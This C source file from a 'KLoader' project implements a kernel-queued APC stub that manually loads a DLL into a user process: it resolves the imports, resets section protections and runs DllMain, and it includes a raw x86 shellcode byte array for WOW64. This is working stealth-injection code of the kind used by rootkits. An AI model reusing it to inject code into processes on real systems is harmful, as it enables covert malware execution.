//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KLoader project Version 2.9.2
//	
// module: stubs.c
// $Revision: 45 $
// $Date: 2012-05-09 13:18:54 +0400 (Ср, 09 май 2012) $
// description:
//	Kernel-mode loader for user images. Loader APC stubs.

#include <ntddk.h>
#include <ntimage.h>
#include "version.h"
#include "ntddkex.h"
#include "pesup.h"
#include "kloader.h"

//
//	APC function. Initializes mapped image of a DLL: processes import, restores section protection. Executes image entry.
//
VOID _stdcall LoadDllApcStub(
	PLOADER_CONTEXT	LdrCtx,
	PVOID			SystemArgument1,
	PVOID			SystemArgument2
	)
{
	HANDLE	hModule;
	PCHAR	ImageBase;
	BOOL	Result;

	if (ImageBase = (PCHAR)LdrCtx->ImageBase)
	{
		NTSTATUS		ntStatus = STATUS_SUCCESS;
		FUNC_DLL_MAIN	pDllMain;
		FUNC_APP_ENTRY	AppEntryPoint;

		// Initializing DLL image
		PIMAGE_NT_HEADERS Pe = (PIMAGE_NT_HEADERS)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
		PIMAGE_SECTION_HEADER	Section = IMAGE_FIRST_SECTION(Pe);
		ULONG	i, OldProtect, NumberSections = Pe->FileHeader.NumberOfSections;

		// Resolving module import
		ULONG   ImportStartRVA;
		PCHAR   ModuleName;
		PVOID	ImportedModuleBase = NULL;
		PIAT_ENTRY	pIatEntry = NULL;
		PIMAGE_IMPORT_DESCRIPTOR pImportDesc;

		// Get the import table RVA from the data dir
		if (ImportStartRVA = Pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
		{
			pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(ImageBase + ImportStartRVA);

			// Find the import descriptor containing references to callee's functions
			for (; pImportDesc->Name; pImportDesc++) 
			{	
				ULONG NameLen = 0;
				ModuleName = ImageBase + pImportDesc->Name;

				while(ModuleName[NameLen])
				{
					LdrCtx->wDllPath[NameLen] = (WCHAR)ModuleName[NameLen];
					NameLen += 1;
				}
				LdrCtx->uDllPath.Length = (USHORT)(NameLen*sizeof(WCHAR));
				LdrCtx->uDllPath.MaximumLength = (USHORT)((NameLen+1)*sizeof(WCHAR));
				LdrCtx->uDllPath.Buffer = (PWSTR)&LdrCtx->wDllPath;
					
				ntStatus = ((FUNC_LOAD_LIBRARY)LdrCtx->Import.pLdrLoadDll)(NULL, 0, &LdrCtx->uDllPath, &ImportedModuleBase);
				if (NT_SUCCESS(ntStatus))
				{
					ULONG   rvaINT = pImportDesc->OriginalFirstThunk;
					ULONG   rvaIAT = pImportDesc->FirstThunk;
					PIAT_ENTRY	pIatEntry = NULL;
					PIMAGE_IMPORT_BY_NAME   pOrdinalName;
					PIMAGE_THUNK_DATA		pINT;
					PIMAGE_THUNK_DATA		pIAT;
					IAT_ENTRY				IatEntry;
					USHORT					Ordinal = 0;

					if ( rvaINT == 0 )   // No Characteristics field?
						rvaINT = rvaIAT;
	     
					if ( rvaINT != 0 )   // No FirstThunk field?  Ooops!!!
					{
						// Adjust the pointer to point where the tables are in the mem mapped file.
						pINT = (PIMAGE_THUNK_DATA)(ImageBase + rvaINT);
						pIAT = (PIMAGE_THUNK_DATA)(ImageBase + rvaIAT);

						while (TRUE) // Loop forever (or until we break out)
						{	
							if (pINT->u1.AddressOfData == 0)
								break;

							if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal) == FALSE)
								pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(ImageBase + (ULONG)pINT->u1.AddressOfData);
							else if (pINT->u1.Ordinal >= (ULONG_PTR)ImageBase && pINT->u1.Ordinal < ((ULONG_PTR)ImageBase + Pe->OptionalHeader.SizeOfImage))
								pOrdinalName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)pINT->u1.AddressOfData);
							else
							{
								pOrdinalName = NULL;
								Ordinal = (USHORT)IMAGE_ORDINAL(pINT->u1.Ordinal);
							}
								
							if (pOrdinalName)
							{
								NameLen = 0;
								while(pOrdinalName->Name[NameLen])
									NameLen += 1;

								LdrCtx->uDllPath.Length = (USHORT)NameLen;
								LdrCtx->uDllPath.MaximumLength = (USHORT)(NameLen + 1);
								LdrCtx->uDllPath.Buffer = (PWSTR)&pOrdinalName->Name;
								pOrdinalName = (PIMAGE_IMPORT_BY_NAME)&LdrCtx->uDllPath;
							}

							ntStatus = ((FUNC_PROC_ADDRESS)LdrCtx->Import.pLdrGetProcedureAddress)(ImportedModuleBase, (PANSI_STRING)pOrdinalName, Ordinal, (PVOID*)&IatEntry);
							if (NT_SUCCESS(ntStatus))
							{
								pIatEntry = &pIAT->u1.Function;
								*pIatEntry = IatEntry;
							}
							else
							{
								ntStatus = STATUS_PROCEDURE_NOT_FOUND;
								break;
							}

							pINT++;         // advance to next thunk
							pIAT++;         // advance to next thunk
						} // while (TRUE)	
					}	// if ( rvaINT != 0 ) 
				}	// if (NT_SUCCESS(ntStatus))
				else
				{
					ntStatus = STATUS_INVALID_IMPORT_OF_NON_DLL;
					break;
				}
			} // for (; pImportDesc->Name; pImportDesc++) 
		}	// if (ImportStartRVA = Pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)


		if (NT_SUCCESS(ntStatus))
		{
			ULONG_PTR	tSize = (ULONG_PTR)Pe->OptionalHeader.SizeOfHeaders;
			// Restoring sections' protection
			ntStatus = ((FUNC_PROTECT_MEM)LdrCtx->Import.pNtProtectVirtualMemory)((HANDLE)-1, (PVOID*)&ImageBase, &tSize, PAGE_READWRITE, &OldProtect);
			for (i=0; (i<NumberSections && NT_SUCCESS(ntStatus)); i++)
			{
				ULONG	NewProtect = 0;
				PVOID	BaseAddress;
	
				if (Section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
				{
					if (Section->Characteristics & IMAGE_SCN_MEM_WRITE)
						NewProtect = PAGE_EXECUTE_READWRITE;
					else
						NewProtect = PAGE_EXECUTE_READ;
				} 
				else if (Section->Characteristics & IMAGE_SCN_MEM_READ)
				{
					if (Section->Characteristics & IMAGE_SCN_MEM_WRITE)
						NewProtect = PAGE_READWRITE;
					else
						NewProtect = PAGE_READONLY;
				}
				else 
					NewProtect = PAGE_READWRITE;

				tSize = (ULONG_PTR)Section->Misc.VirtualSize;
				BaseAddress = (PVOID)(ImageBase + Section->VirtualAddress);
				ntStatus = ((FUNC_PROTECT_MEM)LdrCtx->Import.pNtProtectVirtualMemory)(NtCurrentProcess(), &BaseAddress, &tSize, NewProtect, &OldProtect);
				Section += 1;
			}	// for (i=0; i<NumberSections; i++)
		
			if (NT_SUCCESS(ntStatus))
			{
				// Calling DLL entry point
				pDllMain = (FUNC_DLL_MAIN)(ImageBase + Pe->OptionalHeader.AddressOfEntryPoint);
				Result = (pDllMain)(ImageBase, DLL_PROCESS_ATTACH, NULL);
			}	// if (NT_SUCCESS(ntStatus))
		}	// if (NT_SUCCESS(ntStatus))
	}	// if (ImageBase = LdrCtx->ImageBase)
	else
	{
		// Loading DLL by name
		if (NT_SUCCESS(((FUNC_LOAD_LIBRARY)LdrCtx->Import.pLdrLoadDll)(NULL, 0, &LdrCtx->uDllPath, &hModule)))
			Result = TRUE;
	}

	UNREFERENCED_PARAMETER(SystemArgument1);
	UNREFERENCED_PARAMETER(SystemArgument2);
}


#ifdef _M_AMD64

// This is normal LoadDllApcStub() function compiled for x86.
UCHAR	LoadDllApcStubWow64[] = {
	0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x28, 0x53, 0x56, 0x57, 0x8B, 0x7D, 0x08, 0x8B, 0x8F, 
	0x30, 0x0A, 0x00, 0x00, 0x33, 0xDB, 0x89, 0x4D, 0x08, 0x3B, 0xCB, 0x0F, 0x84, 0x09, 0x02, 0x00, 
	0x00, 0x8B, 0x71, 0x3C, 0x03, 0xF1, 0x0F, 0xB7, 0x46, 0x14, 0x8D, 0x44, 0x30, 0x18, 0x89, 0x45, 
	0xE0, 0x0F, 0xB7, 0x46, 0x06, 0x89, 0x45, 0xE8, 0x89, 0x5D, 0xEC, 0x8B, 0x86, 0x80, 0x00, 0x00, 
	0x00, 0x3B, 0xC3, 0x0F, 0x84, 0x34, 0x01, 0x00, 0x00, 0x03, 0xC1, 0x8B, 0x50, 0x0C, 0x89, 0x45, 
	0xFC, 0x3B, 0xD3, 0x0F, 0x84, 0x24, 0x01, 0x00, 0x00, 0x8D, 0x04, 0x0A, 0x8A, 0x08, 0x33, 0xDB, 
	0x84, 0xC9, 0x74, 0x17, 0x8D, 0x97, 0x58, 0x0A, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0xC9, 0x66, 0x89, 
	0x0A, 0x43, 0x8A, 0x0C, 0x18, 0x42, 0x42, 0x84, 0xC9, 0x75, 0xEF, 0x8D, 0x04, 0x1B, 0x8D, 0x8F, 
	0x50, 0x0A, 0x00, 0x00, 0x66, 0x89, 0x01, 0x83, 0xC0, 0x02, 0x66, 0x89, 0x87, 0x52, 0x0A, 0x00, 
	0x00, 0x8D, 0x87, 0x58, 0x0A, 0x00, 0x00, 0x89, 0x87, 0x54, 0x0A, 0x00, 0x00, 0x8D, 0x45, 0xEC, 
	0x50, 0x51, 0x33, 0xDB, 0x53, 0x53, 0xFF, 0x17, 0x3B, 0xC3, 0x89, 0x45, 0xF8, 0x0F, 0x8C, 0xB9, 
	0x00, 0x00, 0x00, 0x8B, 0x45, 0xFC, 0x8B, 0x10, 0x8B, 0x40, 0x10, 0x89, 0x5D, 0xF0, 0x3B, 0xD3, 
	0x75, 0x0A, 0x8B, 0xD0, 0x3B, 0xC3, 0x0F, 0x84, 0x89, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x08, 0x03, 
	0xC1, 0x8D, 0x1C, 0x0A, 0x89, 0x45, 0xF4, 0xEB, 0x6D, 0x78, 0x04, 0x03, 0xD1, 0xEB, 0x15, 0x3B, 
	0xD1, 0x72, 0x09, 0x8B, 0x46, 0x50, 0x03, 0xC1, 0x3B, 0xD0, 0x72, 0x08, 0x0F, 0xB7, 0x03, 0x33, 
	0xD2, 0x89, 0x45, 0xF0, 0x85, 0xD2, 0x74, 0x27, 0x33, 0xC9, 0x8D, 0x42, 0x02, 0x38, 0x08, 0x74, 
	0x07, 0x41, 0x80, 0x3C, 0x08, 0x00, 0x75, 0xF9, 0x8D, 0x97, 0x50, 0x0A, 0x00, 0x00, 0x66, 0x89, 
	0x0A, 0x41, 0x66, 0x89, 0x8F, 0x52, 0x0A, 0x00, 0x00, 0x89, 0x87, 0x54, 0x0A, 0x00, 0x00, 0x8D, 
	0x45, 0xE4, 0x50, 0xFF, 0x75, 0xF0, 0x52, 0xFF, 0x75, 0xEC, 0xFF, 0x57, 0x08, 0x89, 0x45, 0xF8, 
	0x85, 0xC0, 0x7C, 0x1A, 0x8B, 0x4D, 0xF4, 0x8B, 0x45, 0xE4, 0x89, 0x01, 0x8B, 0x4D, 0x08, 0x83, 
	0xC3, 0x04, 0x83, 0x45, 0xF4, 0x04, 0x8B, 0x13, 0x85, 0xD2, 0x75, 0x8D, 0xEB, 0x0A, 0xC7, 0x45, 
	0xF8, 0x7A, 0x00, 0x00, 0xC0, 0x8B, 0x4D, 0x08, 0x83, 0x45, 0xFC, 0x14, 0x8B, 0x45, 0xFC, 0x8B, 
	0x50, 0x0C, 0x85, 0xD2, 0x0F, 0x85, 0xEF, 0xFE, 0xFF, 0xFF, 0xEB, 0x07, 0xC7, 0x45, 0xF8, 0x6F, 
	0x03, 0x00, 0xC0, 0x83, 0x7D, 0xF8, 0x00, 0x0F, 0x8C, 0xC9, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x54, 
	0x89, 0x45, 0xF4, 0x8D, 0x45, 0xDC, 0x50, 0x6A, 0x04, 0x8D, 0x45, 0xF4, 0x50, 0x8D, 0x45, 0x08, 
	0x50, 0x6A, 0xFF, 0xFF, 0x57, 0x10, 0x83, 0x65, 0xF8, 0x00, 0x83, 0x7D, 0xE8, 0x00, 0x76, 0x71, 
	0x8B, 0x5D, 0xE0, 0x83, 0xC3, 0x24, 0x85, 0xC0, 0x0F, 0x8C, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x03, 
	0xA9, 0x00, 0x00, 0x00, 0x20, 0x74, 0x11, 0x25, 0x00, 0x00, 0x00, 0x80, 0xF7, 0xD8, 0x1B, 0xC0, 
	0x83, 0xE0, 0x20, 0x83, 0xC0, 0x20, 0xEB, 0x1A, 0xA9, 0x00, 0x00, 0x00, 0x40, 0x74, 0x10, 0x25, 
	0x00, 0x00, 0x00, 0x80, 0xF7, 0xD8, 0x1B, 0xC0, 0x83, 0xE0, 0x02, 0x40, 0x40, 0xEB, 0x03, 0x6A, 
	0x04, 0x58, 0x8B, 0x4B, 0xE4, 0x89, 0x4D, 0xF4, 0x8B, 0x4B, 0xE8, 0x03, 0x4D, 0x08, 0x89, 0x4D, 
	0xE0, 0x8D, 0x4D, 0xDC, 0x51, 0x50, 0x8D, 0x45, 0xF4, 0x50, 0x8D, 0x45, 0xE0, 0x50, 0x6A, 0xFF, 
	0xFF, 0x57, 0x10, 0x83, 0xC3, 0x28, 0xFF, 0x45, 0xF8, 0x8B, 0x4D, 0xF8, 0x3B, 0x4D, 0xE8, 0x72, 
	0x95, 0x33, 0xDB, 0x3B, 0xC3, 0x7C, 0x2F, 0x8B, 0x76, 0x28, 0x03, 0x75, 0x08, 0x53, 0x6A, 0x01, 
	0xFF, 0x75, 0x08, 0xFF, 0xD6, 0x89, 0x45, 0xE8, 0xEB, 0x1E, 0x8D, 0x45, 0xD8, 0x50, 0x8D, 0x87, 
	0x50, 0x0A, 0x00, 0x00, 0x50, 0x53, 0x53, 0xFF, 0x17, 0x85, 0xC0, 0x7C, 0x09, 0xC7, 0x45, 0xE8, 
	0x01, 0x00, 0x00, 0x00, 0xEB, 0x02, 0x33, 0xDB, 0x39, 0x5D, 0xE8, 0x74, 0x20, 0x8B, 0x87, 0x48, 
	0x0A, 0x00, 0x00, 0x0B, 0x87, 0x4C, 0x0A, 0x00, 0x00, 0x74, 0x12, 0x8D, 0x45, 0xDC, 0x50, 0x53, 
	0x57, 0x8D, 0x87, 0x28, 0x08, 0x00, 0x00, 0x50, 0x53, 0x53, 0xFF, 0x57, 0x20, 0x5F, 0x5E, 0x5B, 
	0xC9, 0xC2, 0x0C, 0x00
};

#endif	// _M_AMD64